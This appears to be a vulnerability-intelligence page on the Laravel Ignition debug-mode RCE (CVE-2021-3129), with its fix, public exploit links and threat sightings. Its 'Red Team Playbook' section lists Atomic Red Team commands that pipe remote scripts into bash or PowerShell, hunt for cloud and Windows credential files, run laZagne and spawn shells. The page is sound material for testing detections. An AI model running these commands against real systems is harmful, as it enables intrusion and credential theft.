CVE-2021-3129
Overview
This vulnerability is a remote code execution flaw caused by insecure handling of file operations within the Ignition error handling package used by Laravel. Specifically, the use of file_get_contents() and file_put_contents() functions without proper input validation allows untrusted input to be processed. The flaw manifests in the debug mode feature of Laravel applications prior to version 8.4.2 when interacting with Ignition versions before 2.5.2, exposing the file handling component to exploitation.
Vulnerability Description
Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
Impact
An attacker can execute arbitrary code remotely without authentication or user interaction by exploiting this vulnerability. This enables full system compromise, including unauthorized access, data theft, and potential lateral movement within the affected environment. The exploitation requires only that the Laravel application runs in debug mode with vulnerable Ignition and Laravel versions, a common configuration in development or staging environments but sometimes present in production.
Solution
Upgrade Ignition to version 2.5.2 or later and Laravel to version 8.4.2 or later to address this vulnerability. The Ignition GitHub repository pull request #334 contains the relevant fix, and detailed patch instructions are available in Laravel's official release notes. Disabling debug mode in production environments is recommended as a temporary mitigation. Refer to https://github.com/facade/ignition/pull/334 and https://github.com/laravel/framework/releases/tag/v8.4.2 for specific remediation steps.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Facade | Ignition | All |
cpe:2.3:a:facade:ignition:*:*:*:*:*:laravel:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Unauthenticated remote code execution in Ignition
exploits/multi/php/ignition_laravel_debug_rce
|
- | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Laravel 8.4.2 debug mode - Remote code execution | SunCSR Team | webapps | php | - | View |
GitHub PoCs (37)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ambionics/laravel-exploits
Exploit for CVE-2021-3129
|
ambionics | 289 | 69 | 2021-01-13 | View |
|
zhzyker/CVE-2021-3129
Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)
|
zhzyker | 166 | 55 | 2021-02-18 | View |
|
joshuavanderpoll/CVE-2021-3129
Laravel RCE Exploit PoC - CVE-2021-3129 (user-friendly with automatic log path detection)
|
joshuavanderpoll | 158 | 27 | 2022-04-16 | View |
|
SNCKER/CVE-2021-3129
Laravel debug rce
|
SNCKER | 134 | 50 | 2021-01-22 | View |
|
SecPros-Team/laravel-CVE-2021-3129-EXP
|
SecPros-Team | 79 | 30 | 2021-01-25 | View |
|
nth347/CVE-2021-3129_exploit
Exploit for CVE-2021-3129
|
nth347 | 69 | 26 | 2021-01-27 | View |
|
crisprss/Laravel_CVE-2021-3129_EXP
|
crisprss | 18 | 7 | 2021-01-27 | View |
|
knqyf263/CVE-2021-3129
PoC for CVE-2021-3129 (Laravel)
|
knqyf263 | 12 | 3 | 2021-10-01 | View |
|
ajisai-babu/CVE-2021-3129-exp
Laravel Debug mode RCE漏洞(CVE-2021-3129)poc / exp
|
ajisai-babu | 13 | 1 | 2023-03-04 | View |
|
0x0d3ad/CVE-2021-3129
CVE-2021-3129 (Laravel Ignition RCE Exploit)
|
0x0d3ad | 10 | 1 | 2024-09-29 | View |
|
Y0s9/CVE-2021-3129
CVE-2021-3129-Laravel Debug mode 远程代码执行漏洞
|
Y0s9 | 0 | 9 | 2021-04-11 | View |
|
cuongtop4598/CVE-2021-3129-Script
Add revert shell
|
cuongtop4598 | 7 | 1 | 2022-04-08 | View |
|
MadExploits/Laravel-debug-Checker
CVE-2021-3129 Exploit Checker By ./MrMad
|
MadExploits | 7 | 1 | 2022-12-10 | View |
|
FunPhishing/Laravel-8.4.2-rce-CVE-2021-3129
|
FunPhishing | 2 | 6 | 2021-02-14 | View |
|
0nion1/CVE-2021-3129
CVE-2021-3129-Laravel Debug mode
|
0nion1 | 6 | 1 | 2022-10-11 | View |
|
Axianke/CVE-2021-3129
CVE-2021-3129
|
Axianke | 5 | 0 | 2024-01-15 | View |
|
shadowabi/Laravel-CVE-2021-3129
CVE-2021-3129 POC
|
shadowabi | 5 | 0 | 2022-06-04 | View |
|
idea-oss/laravel-CVE-2021-3129-EXP
|
idea-oss | 1 | 2 | 2021-07-22 | View |
|
wmasday/CVE-2021-3129
CVE-2021-3129 | Laravel Debug Mode Vulnerability
|
wmasday | 2 | 1 | 2023-07-27 | View |
|
lukwagoasuman/CVE-2021-3129---Laravel-RCE
## About The script has been made for exploiting the Laravel RCE (CVE-2021-3129) vulnerability.<br> This script allows y...
|
lukwagoasuman | 1 | 1 | 2025-01-30 | View |
|
theNareshofficial/CVE-2021-3129-Lab
CVE-2021-3129: Laravel Debug Mode RCE - Complete exploitation lab with Python exploit, Docker container, and security a...
|
theNareshofficial | 1 | 0 | 2026-07-18 | View |
|
keyuan15/CVE-2021-3129
Laravel RCE CVE-2021-3129
|
keyuan15 | 1 | 0 | 2023-03-11 | View |
|
miko550/CVE-2021-3129
Laravel RCE (CVE-2021-3129)
|
miko550 | 0 | 1 | 2023-07-26 | View |
|
Prabesh01/hoh4
Modified version of laravel ignition RCE (CVE-2021-3129) exploit script for Hour of Hack Session-4
|
Prabesh01 | 0 | 1 | 2024-12-04 | View |
|
CyberCTF/vulhub-laravel-cve-2021-3129
Vulhub laravel/CVE-2021-3129: Laravel Ignition RCE (CVE-2021-3129), run with Isoloom
|
CyberCTF | 0 | 0 | 2026-10-08 | View |
|
cchiaravalentini/CVE-2021-3129
Reproduction and patch verification of CVE-2021-3129 (Laravel Ignition RCE) in Docker. University project, Data Privacy ...
|
cchiaravalentini | 0 | 0 | 2026-06-06 | View |
|
Giangdurian/CVE-2021-3129
|
Giangdurian | 0 | 0 | 2026-08-07 | View |
|
M4rrow/CVE-2021-3129-EXP
Laravel RCE Exploit PoC - CVE-2021-3129 (user-friendly with automatic log path detection)
|
M4rrow | 0 | 0 | 2026-05-12 | View |
|
M4rrow/CVE-2021-3129
CVE-2021-3129 (Laravel Ignition RCE Exploit)
|
M4rrow | 0 | 0 | 2026-04-14 | View |
|
Nullsecur1ty/CVE-2021-3129
CVE-2021-3129 (Laravel Ignition RCE Exploit)
|
Nullsecur1ty | 0 | 0 | 2026-02-20 | View |
|
cc3305/CVE-2021-3129
A exploit script for CVE-2021-3129
|
cc3305 | 0 | 0 | 2024-05-19 | View |
|
GodOfServer/CVE-2021-3129
|
GodOfServer | 0 | 0 | 2024-10-31 | View |
|
piperpwn/CVE-2021-3129-piperpwn
Laravel Debug Mode and Payload
|
piperpwn | 0 | 0 | 2024-07-16 | View |
|
Zoo1sondv/CVE-2021-3129
|
Zoo1sondv | 0 | 0 | 2023-05-01 | View |
|
banyaksepuh/Mass-CVE-2021-3129-Scanner
|
banyaksepuh | 0 | 0 | 2023-10-22 | View |
|
hupe1980/CVE-2021-3129
Laravel debug mode - Remote Code Execution (RCE)
|
hupe1980 | 0 | 0 | 2022-09-30 | View |
|
qaisarafridi/cve-2021-3129
|
qaisarafridi | 0 | 0 | 2023-04-06 | View |
Threat Feed
34 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 272 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-3129 |
| ambionics.io |
GitHub CVE
x_refsource_MISC
|
https://www.ambionics.io/blog/laravel-debug-rce |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/facade/ignition/pull/334 |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/162094/Ignition-2.5.1-Remote-Code-Execution.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/165999/Ignition-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-3129 |